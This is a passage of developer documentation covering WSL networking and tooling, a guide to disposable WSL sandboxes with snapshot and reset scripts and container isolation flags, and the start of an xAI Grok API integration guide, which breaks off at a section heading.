Interop is toggled per-distro in wsl.conf ([interop] enabled, appendWindowsPath). Turning appendWindowsPath=false off speeds up shell startup and tab completion noticeably, at the cost of losing bare code/explorer.exe — a reasonable trade if you script the few you need.


13. Networking & ports

WSL 2's default NAT mode forwards localhost between Windows and Linux, so a dev server on :3000 in Linux is reachable at http://localhost:3000 in your Windows browser. The VM gets its own IP that changes on restart, which is why you should reach services by localhost, never by the VM address.

npm run dev          # Next.js / Vite in WSL → Windows browser at localhost:3000
wsl hostname -I      # the WSL 2 VM IP, if you genuinely need it
ip route show | grep -i default | awk '{ print $3}'   # the Windows host, seen from WSL
# %UserProfile%\.wslconfig — mirrored mode for VPNs / IPv6 / better localhost
[wsl2]
networkingMode=mirrored
dnsTunneling=true
autoProxy=true       # inherit Windows HTTP proxy

[experimental]
hostAddressLoopback=true     # let container↔host traffic use the host's own IPs
ignoredPorts=3000,5432       # let Linux bind these even if Windows uses them

Networking modes, current: nat (default), mirrored, virtioproxy, none, and bridged (deprecated since WSL 2.4.5 — don't start new setups on it). Since WSL 2.3.25, a failing NAT setup falls back to VirtioProxy automatically.

From Windows 11 22H2 + WSL 2.0.9+, Windows Firewall rules apply to WSL automatically (Hyper-V firewall, firewall=true). If a port that worked yesterday is refused today, check the Windows firewall before blaming WSL.


14. Docker, databases, GPU, USB & GUI apps

docker run --rm hello-world          # via Docker Desktop's WSL2 backend
nvidia-smi                           # confirm GPU passthrough (with the Windows driver)

15. Windows Terminal & shell setup

Windows Terminal auto-detects WSL distros as profiles (tabs, splits, themes) and creates a new profile whenever you install a distro. Set your Ubuntu as the default profile so a new terminal window is a Linux shell.

Two settings worth changing immediately in that profile:

# A typical first-hour shell setup inside Ubuntu
sudo apt install -y zsh
chsh -s $(which zsh)                  # optional: switch to zsh (takes effect next launch)
# ~/.bashrc (or ~/.zshrc) — quality-of-life helpers
alias e='explorer.exe .'
alias winhome='cd /mnt/c/Users/$USER'
alias dev='cd ~/code'
export BROWSER='/mnt/c/Program Files/Google/Chrome/Application/chrome.exe'

16. Editors: VS Code & Cursor over Remote-WSL

Install the WSL extension on Windows, then from an Ubuntu shell:

cd ~/code/your-repo
code .          # opens the editor as a client; the server runs inside WSL

The split matters: the UI runs on Windows, while extensions, the integrated terminal, the debugger, and language servers all execute in Linux against your Linux-filesystem files. Full speed, no /mnt/c penalty, and tsc/ESLint see the same paths CI does.

flowchart LR
  UI["Editor UI (Windows)<br/>rendering · keybindings"]
  SRV["Editor server (Ubuntu)<br/>~/.vscode-server"]
  EXT["Extensions · LSP · debugger"]
  FS["/home/you/code"]
  UI <-->|"Remote-WSL channel"| SRV
  SRV --> EXT
  EXT --> FS

17. Claude Code in WSL

WSL is an excellent home for Claude Code on a Windows machine: a native Linux toolchain (the environment most CLIs assume) with Windows interop a command away.

# Inside your Ubuntu distro — Node via nvm first (see §8.2)
nvm install --lts
npm install -g @anthropic-ai/claude-code   # see the claude-api guide for current install

cd ~/code/your-repo      # keep the repo on the LINUX fs for speed
claude                   # launch in the project

Why it clicks:

Bridging from a Windows-side agent: calling wsl.exe from a Windows shell works, but two things bite. Do not pass an env block (Windows env vars leak through WSLENV and mangle the Linux environment), and set MSYS_NO_PATHCONV=1 when invoking from Git Bash or it rewrites /home/you/... into a Windows path. Simplest is to run the agent inside the distro.

Run wsl --update periodically so the kernel + WSL features stay current for whatever you're building.


18. Disposable distros

Because a distro is just a tar file plus a registration, WSL is a genuinely good sandbox: install from an image, do something risky, --unregister, repeat. This is the cheapest isolation available on a Windows dev box.

# Spin up a throwaway Ubuntu from a snapshot of your clean baseline
wsl --export Ubuntu D:\wsl\baseline.tar                 # once, from a pristine distro
wsl --import scratch D:\wsl\scratch D:\wsl\baseline.tar
wsl -d scratch                                          # play here

# ...and burn it down
wsl --terminate scratch
wsl --unregister scratch

Harden the throwaway before running anything you don't trust:

# /etc/wsl.conf inside the scratch distro
[interop]
enabled=false            # no launching Windows .exe from Linux
appendWindowsPath=false

[automount]
enabled=false            # no /mnt/c at all — Windows files are unreachable

That combination is the meaningful part: with interop off and automount off, code in the distro cannot reach the Windows filesystem or start Windows processes. It is not a security boundary against a determined attacker (it is still a shared VM and a shared kernel, and the network is wide open), but it is a solid blast-radius limiter for "run this unfamiliar install script". For stronger isolation and the full pattern catalogue, see sandbox.


19. Automations & dotfiles

# One-shot dev-box bootstrap (idempotent) — see examples/setup.sh for the full version
#!/usr/bin/env bash
set -euo pipefail
sudo apt-get update -y
sudo apt-get install -y git curl build-essential jq unzip ca-certificates
command -v nvm >/dev/null || curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/master/install.sh | bash
mkdir -p ~/code
echo "✅ dev box ready"
# Windows-side: a scheduled nightly WSL backup (Task Scheduler / PowerShell)
wsl --shutdown
wsl --export Ubuntu "D:\backups\ubuntu-$(Get-Date -Format yyyyMMdd).tar"
// .claude/settings.json — nudge keeping repos off /mnt/c
{
  "hooks": {
    "PreToolUse": [
      { "matcher": "Bash",
        "hooks": [{ "type": "command",
          "command": "case \"$PWD\" in /mnt/c/*) echo 'You are under /mnt/c — Linux-fs (~/) is much faster for git/npm';; esac" }] }
    ]
  }
}

20. Troubleshooting

Issue Fix
wsl --install only prints help WSL already installed — use wsl --install -d <Distro>
Install hangs at 0.0% wsl --install --web-download -d <Distro>
Microsoft Store blocked by policy wsl --install --web-download, or download a .wsl image and wsl --install --from-file
Everything feels slow Repo is on /mnt/c — move it to ~/ (the Linux fs)
File watching / Fast Refresh misses saves Same cause: inotify doesn't cross the /mnt/c boundary. Move the repo to ~/
Forgot the Ubuntu password wsl -d Ubuntu -u root, then passwd <username>
.wslconfig change ignored Run wsl --shutdown, then relaunch. Confirm with wsl -l --running
autoMemoryReclaim / sparseVhd ignored They belong under [experimental], not [wsl2]
wsl.conf change ignored The 8-second rule — wsl --terminate <Distro> before relaunching
systemd not running Add [boot] systemd=true to /etc/wsl.conf, wsl --shutdown; needs a Store-serviced WSL
chmod on /mnt/c does nothing DrvFs has metadata off by default — add options="metadata,..." to [automount]
bad interpreter: /bin/bash^M CRLF line endings — git config --global core.autocrlf input, re-checkout
localhost:3000 unreachable from Windows Confirm the server binds 0.0.0.0/localhost; try networkingMode=mirrored
VM eating RAM Cap it: [wsl2] memory=8GB + [experimental] autoMemoryReclaim=gradual
Disk keeps growing after deleting files The ext4 VHD doesn't auto-shrink — set [experimental] sparseVhd=true for new distros
"No space left on device" wsl --manage <Distro> --resize <size> (WSL 2.5+) after wsl --shutdown
VPN breaks WSL networking [wsl2] networkingMode=mirrored + dnsTunneling=true
Can't access GPU/USB Install the vendor WSL driver on Windows; for USB use usbipd-win
Clock drift after the host sleeps sudo hwclock -s, or keep [time] useWindowsTimezone=true and systemd-timesyncd on
Distro corrupted Recover with [wsl2] safeMode=true, or restore from a wsl --export backup

21. codeAmani notes

Guide Why it pairs with WSL
vscode Remote-WSL setup, per-side extensions, debugging into the distro
cursor Same Remote-WSL split, AI indexing the Linux-side workspace
local-database Postgres/Redis in WSL — systemd service vs Docker container
sandbox Disposable distros and stronger isolation patterns
chrome-devtools Verifying a WSL-hosted dev server in a real Windows browser

Official docs:

WSL Ubuntu Sandbox Guide

Technology: sandbox · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/sandbox

Insight:

A WSL sandbox is three commands used as a discipline: wsl --install --name to stand up a second Ubuntu, wsl --export/--import as snapshot-and-restore, and wsl --unregister to nuke it, so an experiment you don't trust never lands in the distro holding your keys and your ~/code. Microsoft's own WSL security model now says it plainly: WSL "is not a security sandbox for running untrusted code", a distro is not a security boundary from the Windows user or from that user's other distros, and wsl.conf switches are not containment. So treat a second distro as a hygiene sandbox (clean, reproducible, accident-proof), not a security one. For code you actually distrust, step up to a separately managed VM: a Docker Sandboxes microVM (sbx), Windows Sandbox or Hyper-V on Pro editions, or a disposable cloud box.

███████╗ █████╗ ███╗   ██╗██████╗ ██████╗  ██████╗ ██╗  ██╗
██╔════╝██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
███████╗███████║██╔██╗ ██║██║  ██║██████╔╝██║   ██║ ╚███╔╝
╚════██║██╔══██║██║╚██╗██║██║  ██║██╔══██╗██║   ██║ ██╔██╗
███████║██║  ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═════╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝

WSL Ubuntu Sandbox Guide

Focus: Standing up a disposable Ubuntu on Windows for experiments: spin-up, snapshot, blast-radius reduction, and a one-command nuke, so a risky install or a customer repro never lands in your real dev distro. It also covers when a WSL distro is the wrong tool and which separately managed VM to use instead.

Not this guide: cloud code-execution sandboxes for AI agents (Vercel Sandbox, E2B, Daytona, Cloudflare Sandbox, Anthropic's code execution tool). Those are hosted services with SDKs; this folder is about local, on-your-laptop isolation on Windows.

Overview

The wsl/ guide covers WSL as your primary dev environment. This one covers the opposite posture: a distro you expect to break. The core workflow is four verbs on the same wsl.exe binary you already have. No extra tooling, no VM images to download.

Verb Command Cost
Spin up wsl --install Ubuntu-26.04 --name lab ~1 min, one download
Snapshot wsl --export lab lab-clean.tar.gz --format tar.gz seconds to minutes, one file
Restore wsl --import lab-2 D:\wsl\lab-2 lab-clean.tar.gz seconds
Nuke wsl --unregister lab instant, unrecoverable

Read this before you trust it with anything

WSL's own security model document (in the microsoft/WSL repo, doc/docs/technical-documentation/security.md) is blunt, and it overrides any looser framing you may have read elsewhere, including earlier versions of this guide:

WSL provides a Linux environment that is deeply integrated with Windows. It is not a security sandbox for running untrusted code.

Code running in WSL should be treated as having the same trust level as code running under the Windows account that launched it. WSL distributions provide functional process and file system separation, but a distribution is not a security boundary from the Windows host or from other distributions running for the same user.

And on the hardening switches this guide recommends:

Unless a setting is explicitly documented as a security control, do not use it as a containment boundary. [...] These settings change the available integration features, but they do not turn a distribution into a sandbox or isolate it from Windows resources available to the user.

The architecture explains why. All WSL 2 distros for a user run inside one shared utility VM. Per Microsoft Learn, distros "share the same network namespace, device tree (other than /dev/pts), CPU/Kernel/Memory/Swap, /init binary, but have their own PID namespace, Mount namespace, User namespace, Cgroup namespace, and init process." The Hyper-V boundary between that VM and Windows is real. But WSL deliberately punches integration holes through it (DrvFs/Plan9 file sharing, interop, localhost relays) on your behalf, so you can't rely on the VM wall as containment.

What a WSL sandbox is good for: keeping your dev distro clean, making experiments reproducible from a known base, and containing accidents (a bad apt pin, a curl | bash that rewrites your shell profile, a toolchain that fights your real one).

What it is not for: code you believe is hostile. That needs a separately managed VM (see the tier table).

flowchart TB
  H["Windows 11 host<br/>your files, creds, Windows identity"]
  H -->|"Hyper-V VM boundary, with WSL integration bridged through it"| VM
  VM["WSL 2 utility VM<br/>one kernel · one network namespace · one .wslconfig"]
  VM --> DEV["Ubuntu · dev distro<br/>~/code · SSH keys · .env.local"]
  VM --> LAB["Ubuntu-lab · sandbox distro<br/>own mount / PID / user / cgroup ns"]
  LAB --> SNAP["wsl --export lab<br/>lab-clean.tar.gz"]
  SNAP --> REST["wsl --import lab-2<br/>rebuild from clean"]
  LAB --> NUKE["wsl --unregister lab<br/>gone in one second"]
  H --> SBX["Separately managed VM<br/>sbx microVM · Windows Sandbox · Hyper-V · cloud VM<br/>for untrusted code"]

Which tier do you actually need?

Tier What you get Reset cost Reach for it when
Second WSL distro Own ext4 VHDX plus mount/PID/user/cgroup namespaces. Not a security boundary. wsl --unregister, instant A whole toolchain, a repro that needs systemd, an install script from a source you trust but don't want on your dev distro
Snapshot + import The above, plus a known-good starting point Re-import a tarball, under a minute You need to run the same experiment five times from a clean base
Container (docker run or wslc run) Own network namespace (--network none) and per-container cgroup caps Automatic on --rm One process, one command, no persistent state. Microsoft: a container "does not make WSL a security boundary from the Windows host."
Docker Sandboxes (sbx) A microVM per sandbox with its own Docker daemon, filesystem and network, plus deny-by-default network presets Delete the sandbox Running an AI coding agent or an unfamiliar install script you actually distrust, on any Windows 11 edition with Windows Hypervisor Platform
Windows Sandbox (wsb) Disposable Windows VM with a separate kernel. Networking can be disabled in a .wsb file Close the window Detonating a Windows binary or attachment. Pro/Enterprise/Education only, not on Home
Full Hyper-V VM or disposable cloud VM Separate kernel, separate network stack, checkpoints Restore a checkpoint or destroy the VM Real malware analysis, kernel modules, anything that must not share your Windows identity. Hyper-V Manager also needs Pro or higher; on Home, use a cloud VM

Official Documentation

Resource URL
WSL security model (what WSL is and isn't a boundary for) https://github.com/microsoft/WSL/blob/master/doc/docs/technical-documentation/security.md
Basic WSL commands (export / import / unregister) https://learn.microsoft.com/windows/wsl/basic-commands
Advanced settings: .wslconfig and wsl.conf https://learn.microsoft.com/windows/wsl/wsl-config
WSL 2 architecture (what's shared, what isn't) https://learn.microsoft.com/windows/wsl/about
Enterprise setup: images, firewall, file-access model https://learn.microsoft.com/windows/wsl/enterprise
WSL containers (wslc.exe + API) https://learn.microsoft.com/windows/wsl/wsl-container
WSL container settings (settings.yaml) https://learn.microsoft.com/windows/wsl/wsl-container-settings
Import a custom distro from a tarball https://learn.microsoft.com/windows/wsl/use-custom-distro
Manage disk space / sparse VHDX https://learn.microsoft.com/windows/wsl/disk-space
Hyper-V Firewall (filtering WSL traffic) https://learn.microsoft.com/windows/security/operating-system-security/network-security/windows-firewall/hyper-v-firewall
WSL releases (check what your build supports) https://github.com/microsoft/WSL/releases
docker run reference https://docs.docker.com/reference/cli/docker/container/run/
Docker none network driver https://docs.docker.com/engine/network/drivers/none/
Docker Sandboxes (sbx) https://docs.docker.com/ai/sandboxes/
Windows Sandbox https://learn.microsoft.com/windows/security/application-security/application-isolation/windows-sandbox/

Versions verified 2026-10-20

Component Version Source
WSL, latest stable 3.0.3 (2026-10-09). 3.0.1 (2026-09-29) made WSL containers GA github.com/microsoft/WSL/releases
WSL, latest pre-release 3.0.4 (2026-10-20) same
WSL 2.7 servicing branch 2.7.14 (2026-09-11) same
WSL kernel shipped in 3.0.3 6.18.54.1 3.0.3 release notes
Docker Engine 29.9.1 (2026-10-14) github.com/moby/moby/releases
Docker Sandboxes CLI (Docker.sbx on winget) 0.48.0 winget show Docker.sbx
ubuntu Docker image tags 26.04, 24.04, 22.04, latest Docker Hub

Run wsl --version first. The flags below were read from a local wsl --help (2.6.3). A much older inbox WSL may not have --manage, --install --name, or --export --format, and WSL containers need 2.9.3 or later. wsl --update gets you current.


Quickstart: a throwaway Ubuntu in 60 seconds

# Stand up a SECOND Ubuntu named "lab". --name is what makes a second
# copy of an already-installed distro possible.
wsl.exe --install Ubuntu-26.04 --name lab --no-launch

# Enter it
wsl.exe -d lab

# ...break things...

# Nuke it. Instant. Unrecoverable. That's the point.
wsl.exe --unregister lab

From PowerShell, drop the .exe. Everything below uses wsl (PowerShell form) except where a Linux-side command is being run.

Confirm what's installed and which VM version each distro is on:

wsl.exe --list --verbose
wsl.exe --version          # verify your WSL build supports the flags below
wsl.exe --list --online    # real, current distro names for --install

As of 2026-10-20, --list --online offers Ubuntu (the moving "latest" entry), Ubuntu-26.04, Ubuntu-24.04, Ubuntu-22.04, Debian, kali-linux, archlinux, FedoraLinux-44, FedoraLinux-43, openSUSE-Tumbleweed, openSUSE-Leap-16.0, RLCPlus-9/RLCPlus-10 (Rocky Linux Plus), plus the AlmaLinux, SUSE Linux Enterprise, Oracle Linux and eLxr families. Use the NAME column verbatim. Pin a versioned name (Ubuntu-26.04) in scripts; Ubuntu moves.

Placing and sizing the sandbox

Put the sandbox VHDX somewhere you don't mind filling up, and cap it:

wsl --install Ubuntu-26.04 `
  --name lab `
  --location D:\wsl\lab `
  --vhd-size 40GB `
  --no-launch
Install flag Effect
--name <Name> Registers under a custom name, which is how you run N copies of one distro
--location <Path> Where the ext4.vhdx lives (default is [general] distributionInstallPath, itself defaulting to %LocalAppData%\wsl)
--vhd-size <Size> Caps the virtual disk (default defaultVhdSize is 1 TB)
--no-launch, -n Register without launching, so you can write wsl.conf before first boot
--fixed-vhd Fixed-size rather than dynamically expanding disk
--from-file <Path> Install from a local distro file instead of the store
--web-download Download from the internet instead of the Microsoft Store
--version <1|2> Force WSL 1 or WSL 2 for this distro

Snapshot and restore

This is the part that turns a second distro into a sandbox. Get the environment to a known-good state, export it, and from then on every experiment starts from that file.

Take the golden snapshot

# Terminate first so the filesystem is quiescent
wsl --terminate lab

# tar is the portable format; tar.gz / tar.xz trade CPU for size
wsl --export lab D:\wsl\snapshots\lab-clean.tar.gz --format tar.gz

--format accepts tar, tar.gz, tar.xz, and vhd. Microsoft Learn's basic-commands page still documents only the older --vhd switch on export. The binary accepts both, and --format vhd is the current spelling. A .vhdx export restores fastest (no untar) but is far larger and WSL 2 only.

<FileName> can be - for stdout (and - for stdin on import), so an export can be streamed into another tool. Do this from cmd or a POSIX shell, not PowerShell, whose object pipeline mangles binary streams:

# Git Bash / WSL: stream a snapshot straight to a compressor
export WSL_UTF8=1
wsl.exe --export lab - | zstd -T0 -19 -o /d/wsl/snapshots/lab-clean.tar.zst

Restore into a fresh distro

wsl --import lab-2 D:\wsl\lab-2 D:\wsl\snapshots\lab-clean.tar.gz --version 2
wsl -d lab-2
Import flag Effect
--version <1|2> WSL version for the new distro
--vhd The source file is a .vhdx, not a tar. WSL copies it to <InstallLocation>

For a .vhdx you want to attach without copying (fast, but the file becomes the live disk):

wsl --import-in-place lab-3 D:\wsl\images\lab.vhdx

The VHD must be formatted ext4.

The reset loop

# One experiment, start to finish
wsl --unregister lab
wsl --import lab D:\wsl\lab D:\wsl\snapshots\lab-clean.tar.gz --version 2
wsl -d lab -- bash -lc './experiment.sh'

Because --unregister deletes the root filesystem outright, this loop takes a few seconds. Treat lab-clean.tar.gz as immutable and never export over it from a dirty distro. A full script is in examples/reset-lab.ps1.

Post-import housekeeping

An imported distro has no launcher executable, which breaks the usual ubuntu config --default-user trick. Use wsl --manage instead:

wsl --manage lab --set-default-user amani     # imported distros boot as root otherwise
wsl --manage lab --set-sparse true            # auto-reclaim freed disk space
wsl --manage lab --resize 60GB                # grow (or shrink) the VHDX
wsl --manage lab --move E:\wsl\lab            # relocate the distro's disk

Or set it inside the distro before you snapshot, in /etc/wsl.conf:

[user]
default=amani

Reducing the blast radius

A fresh distro automounts your Windows drives and can launch Windows binaries as you. Turn that off in /etc/wsl.conf before you take the golden snapshot. Per the security model quoted above, this reduces accident surface; it is not containment. It stops a sloppy script from writing to /mnt/c/Users/you. It does not stop code that is trying to get out.

# Inside the sandbox distro
sudo tee /etc/wsl.conf >/dev/null <<'EOF'
# Do not mount C:\ (and friends) into the sandbox at all.
[automount]
enabled = false
mountFsTab = false

# Do not let Linux processes launch Windows binaries, and keep the
# Windows PATH out of $PATH.
[interop]
enabled = false
appendWindowsPath = false

[network]
hostname = lab
generateResolvConf = true

[user]
default = amani

[boot]
systemd = true
EOF

Then, from Windows:

wsl --terminate lab   # settings only apply after the distro fully stops

The same file is in examples/wsl.conf. What each switch buys you:

Setting Without it With it
[automount] enabled=false /mnt/c exposes your entire Windows profile (SSH keys, .env.local, browser profiles), writable as your Windows user Drives aren't mounted automatically. They can still be mounted manually, which is why this is hygiene, not a wall
[interop] enabled=false A script can run powershell.exe, explorer.exe, or any Windows binary as you The normal Windows-launch workflow is disabled
[interop] appendWindowsPath=false Windows PATH entries leak into $PATH, so a typo can silently invoke a Windows tool Clean Linux-only PATH
[boot] systemd=true No service manager, so many repros won't reproduce Real systemctl, matching production

Microsoft's enterprise guidance explains why automount matters: when a Linux binary in WSL touches a Windows file, it does so with the permissions of the Windows user who ran wsl.exe. Root inside the sandbox is not Windows admin, but it is you on Windows, for every file you can reach.

What you still don't get

For anything genuinely hostile, use a separately managed VM: sbx, Windows Sandbox, Hyper-V, or a disposable cloud box. Don't use a WSL distro.


Resource limits with .wslconfig

.wslconfig lives on the Windows side at %UserProfile%\.wslconfig and governs the whole WSL 2 VM. Its job here is to keep a runaway make -j$(nproc) in the sandbox from freezing Windows.

# %UserProfile%\.wslconfig   -  applies to the VM shared by ALL WSL 2 distros
[wsl2]
memory=8GB              # default: 50% of host RAM
processors=4            # default: all logical processors
swap=4GB                # default: 25% of memory, rounded up to the nearest GB
swapFile=D:\\wsl\\swap.vhdx   # default: %Temp%\swap.vhdx
defaultVhdSize=64GB     # cap new distro disks (default 1 TB)
vmIdleTimeout=60000     # ms of idle before the VM shuts down (Windows 11)
nestedVirtualization=true
localhostForwarding=true

[general]
instanceIdleTimeout=15000          # ms a distro sits idle before it stops; -1 disables
distributionInstallPath=D:\\wsl    # default home for new distros

[experimental]
autoMemoryReclaim=gradual   # disabled | gradual | dropCache (default)
sparseVhd=true              # every new VHDX is sparse, so disk comes back on delete

Notes that will save you an hour:

Per-experiment limits

Since .wslconfig can't cap a single distro, cap the workload instead, with systemd-run inside the sandbox:

# Needs [boot] systemd=true in the sandbox's wsl.conf
sudo systemd-run --scope \
  -p MemoryMax=2G -p CPUQuota=200% -p TasksMax=512 \
  ./experiment.sh

(--user scopes work too, but only where systemd has delegated the memory and pids controllers to the user slice. sudo is the version that always applies.)

Or run the experiment in a container, which is the next section.


Networking isolation

WSL's network knobs are all in [wsl2], and all global:

[wsl2]
networkingMode=mirrored   # nat (default) | mirrored | consomme | none   (bridged is deprecated)
firewall=true             # Windows Firewall + Hyper-V rules filter WSL traffic (default)
dnsTunneling=true         # DNS via virtualization rather than packets, VPN-friendly
autoProxy=true            # inherit the Windows HTTP proxy

Containers: the lighter tier

When the experiment is one process rather than a whole environment, a container is faster, tighter, and self-cleaning. Keep the security model in mind: a container inside WSL "inherit[s] the security properties of [its] container runtime configuration and WSL." It gets its own network namespace and cgroup caps. It doesn't get a new trust boundary from Windows.

Docker

From inside your normal distro (or via Docker Desktop's WSL integration):

# Ephemeral, network-isolated Ubuntu shell. Gone the moment you exit.
docker run --rm -it --network none ubuntu:26.04 bash

A hardened version for running something you don't fully trust:

docker run --rm -it \
  --network none \
  --memory 2g --cpus 2 --pids-limit 512 \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  --read-only --tmpfs /tmp:rw,noexec,nosuid,size=256m \
  --user 1000:1000 \
  -v "$PWD/artifacts:/out:rw" \
  -w /out \
  ubuntu:26.04 bash
Flag Why it's there
--rm Container and its writable layer are removed on exit, so no cleanup discipline is required
--network none Loopback-only network namespace. A second WSL distro can't give you this.
--memory / --cpus / --pids-limit Real cgroup caps, so a fork bomb hits the limit, not your laptop
--cap-drop ALL + --security-opt no-new-privileges No CAP_*, no setuid escalation
--read-only + --tmpfs /tmp Immutable root, plus scratch space that can't execute
--user 1000:1000 Not root. Without user-namespace remapping, container root maps to root on the shared kernel
-v ...:/out One narrow, explicit path for results to escape through

examples/vet-npm-offline.sh wraps this into a "download online, then install offline and watch" recipe for vetting an unfamiliar npm package.

WSL containers (wslc.exe): no Docker Desktop needed

WSL containers went generally available in WSL 3.0.1 (2026-09-29) and need WSL 2.9.3+. wslc.exe ships inside WSL. There's no separate engine to install, and the CLI deliberately mirrors Docker's:

wslc version
wslc run --rm -it ubuntu:26.04 bash
wslc run --rm --network none ubuntu:26.04 bash -c "id && ip addr"
wslc container list --all
wslc container prune
wslc image prune

What's documented (Microsoft Learn plus the 2.9.3 release notes):

session:
  cpuCount: 4              # default: all logical processors
  memorySize: 8GB          # default: 50% of Windows memory
  maxStorageSize: 100GB    # default: 1TB
  storagePath: D:\wslc     # default: %LOCALAPPDATA%
  defaultBindingAddress: 127.0.0.1   # where -p binds by default (keep it local)
  hostLoopback: none       # default host.wslc.internal; none stops containers resolving the host by name
  idleTimeout: 30          # seconds before an idle session VM stops

Session settings are read when the session starts. Run wslc system session terminate to apply changes. An invalid setting prints a warning with the file and line number and falls back to the default.

Use wslc when you want Docker-style throwaway containers on a machine without Docker Desktop. Don't treat it as a stronger boundary than Docker. Microsoft documents its sessions as process-isolated from each other, but the security model's container caveat still applies. Docker flags beyond those listed above (--cap-drop, --read-only, --user) weren't verified against wslc for this review, so check wslc run --help before you rely on them.


Stepping up: separately managed VMs for untrusted code

This is the tier the WSL security model actually tells you to use: "a separately managed virtual machine outside WSL with appropriately restricted access."

Docker Sandboxes (sbx)

Docker's agent sandbox. Each sandbox is a microVM with its own Docker daemon, filesystem and network. Docker Desktop and Docker Engine are not required.

# One-time: Windows 11, 64-bit Intel/AMD, Windows Hypervisor Platform (elevated)
Enable-WindowsOptionalFeature -Online -FeatureName HypervisorPlatform -All
winget install -h Docker.sbx          # per-user install, no admin

sbx run --name vet-lab claude         # or another agent from the agents list
sbx policy ls                         # show network rules
sbx policy allow network registry.npmjs.org

On first run you pick a network preset: Open (no restrictions), Balanced (default deny, with common dev sites allowed), or Locked Down (everything blocked unless you allow it). Use Locked Down for vetting, then allow exactly the registry you need. Central org policy (network, filesystem, MCP) is a separate paid Docker subscription. Local pricing and a GA/beta label weren't stated on the pages checked.

Windows Sandbox

A disposable Windows VM with its own kernel. It's not available on Windows Home. Networking is on by default, so turn it off in a .wsb file, and map folders read-only:

<Configuration>
  <Networking>Disable</Networking>
  <ClipboardRedirection>Disable</ClipboardRedirection>
  <AudioInput>Disable</AudioInput>
  <ProtectedClient>Enable</ProtectedClient>
  <MappedFolders>
    <MappedFolder>
      <HostFolder>D:\quarantine</HostFolder>
      <SandboxFolder>C:\quarantine</SandboxFolder>
      <ReadOnly>true</ReadOnly>
    </MappedFolder>
  </MappedFolders>
</Configuration>

ProtectedClient runs the sandbox inside AppContainer isolation, which adds a layer at the cost of copy/paste. The same file is in examples/quarantine.wsb. On Windows 11 24H2+ there's also a CLI: wsb start --config "<Configuration><Networking>Disable</Networking></Configuration>" (Microsoft's CLI page writes the value as Disabled; the .wsb reference lists Disable). Only one instance runs at a time, and it always uses the host's own Windows build.

Hyper-V or a disposable cloud VM

For real malware analysis or kernel work, use a full VM with checkpoints. Hyper-V Manager needs Pro or higher. On Windows 11 Home (codeAmani's main dev box), the practical choices are sbx or a short-lived cloud VM you destroy afterwards.


The nuke-and-rebuild script

Keep this next to the golden snapshot. It's the whole workflow in one file. A commented copy is in examples/reset-lab.ps1.

# D:\wsl\reset-lab.ps1
param(
  # No default for $Name: --unregister has no undo, so the caller must say it out loud.
  [Parameter(Mandatory)][string]$Name,
  [string]$Root     = "D:\wsl\lab",
  [string]$Snapshot = "D:\wsl\snapshots\lab-clean.tar.gz"
)

$env:WSL_UTF8 = 1   # otherwise wsl.exe output is UTF-16 and every match fails

if (-not (Test-Path $Snapshot)) { throw "No snapshot at $Snapshot" }
if ($Name -match '^Ubuntu') { throw "Refusing to nuke an Ubuntu* distro; sandbox names should not start with Ubuntu" }

# Only tear down if it is actually registered.
if ((wsl --list --quiet) -contains $Name) {
  wsl --terminate  $Name
  wsl --unregister $Name
  if ($LASTEXITCODE -ne 0) { throw "unregister failed for $Name" }
}

New-Item -ItemType Directory -Force -Path $Root | Out-Null
wsl --import $Name $Root $Snapshot --version 2
if ($LASTEXITCODE -ne 0) { throw "import failed from $Snapshot" }

wsl --manage $Name --set-sparse true

Write-Host "Sandbox '$Name' rebuilt from $Snapshot"
wsl --list --verbose

And the one-way door, spelled out because it deserves it:

wsl --unregister lab

--unregister deletes the distro's root filesystem. There is no recycle bin, no undo, and no prompt. Type the distro name carefully: wsl --unregister Ubuntu and wsl --unregister lab are very close in muscle memory.


Scripting wsl.exe from agents and CI

wsl.exe emits UTF-16LE with no BOM by default, which turns into interleaved NUL bytes in any pipeline that assumes UTF-8 (the classic "why is my output U b u n t u"). Set WSL_UTF8 to 1. It's a plain setting, not a secret:

export WSL_UTF8=1
wsl.exe --list --verbose
$env:WSL_UTF8 = 1
wsl --list --verbose

Two more scripting notes:

Setting Value Where
WSL_UTF8 1 Shell environment. Makes wsl.exe print UTF-8
MSYS_NO_PATHCONV 1 Git Bash only. Stops path mangling of Windows paths

codeAmani notes

A sandbox is where risky things go, not where secrets go.

Official docs:

xAI Integration Guide

Technology: xai · Category: ai · Last reviewed: 2026-10-18

Source: https://tech-stack.codeamanilabs.org/guide/xai

Insight:

xAI is the real-time grounding tier: Grok's server-side web_search and x_search tools give a frontier reasoning model live web + X data with citations, no scraping pipeline needed. Flagship grok-4.7 runs a 500K-token context; grok-4.3 is the cheap 1M-token option. Two things changed in 2026: xAI now recommends its Responses API (Chat Completions is marked deprecated), and "Live Search" became a pair of priced tools ($5 per 1k web searches). The AI SDK's xai() already targets Responses, so new TypeScript code is on the right path by default.

██╗  ██╗ █████╗ ██╗
╚██╗██╔╝██╔══██╗██║
 ╚███╔╝ ███████║██║
 ██╔██╗ ██╔══██║██║
██╔╝ ██╗██║  ██║██║
╚═╝  ╚═╝╚═╝  ╚═╝╚═╝

xAI Integration Guide

Focus: Grok models via the xAI API: the Responses API, server-side search tools (web + X), reasoning effort, structured outputs, prompt caching, and image generation, through @ai-sdk/xai (TypeScript) or the official xai-sdk (Python). Neighbours: grok-chatbot/ builds a customer-facing bot on this API; grok-bot/ is xAI's no-code Grok Bot product (no API); ai-agents/ compares Grok with other agent stacks.

Overview

xAI serves the Grok family at https://api.x.ai/v1. The flagship grok-4.7 is a frontier reasoning model with a 500,000-token context window and text + image input. xAI's signature capability is its server-side tools: web_search and x_search (plus code execution, collections search, image generation, and remote MCP). The model plans, searches, and cites inside one request, with no tool loop on your side.

flowchart LR
  A["Your app code"] --> B{"Which client?"}
  B -->|"TypeScript"| C["@ai-sdk/xai<br/>Responses API by default"]
  B -->|"Python"| D["xai-sdk<br/>official gRPC client"]
  B -->|"Any language"| E["OpenAI SDK<br/>baseURL · api.x.ai/v1"]
  C --> F["grok-4.7<br/>500K-token context"]
  D --> F
  E --> F
  F --> G["Server-side tools<br/>web_search · x_search<br/>code · MCP · images"]

Responses API vs Chat Completions

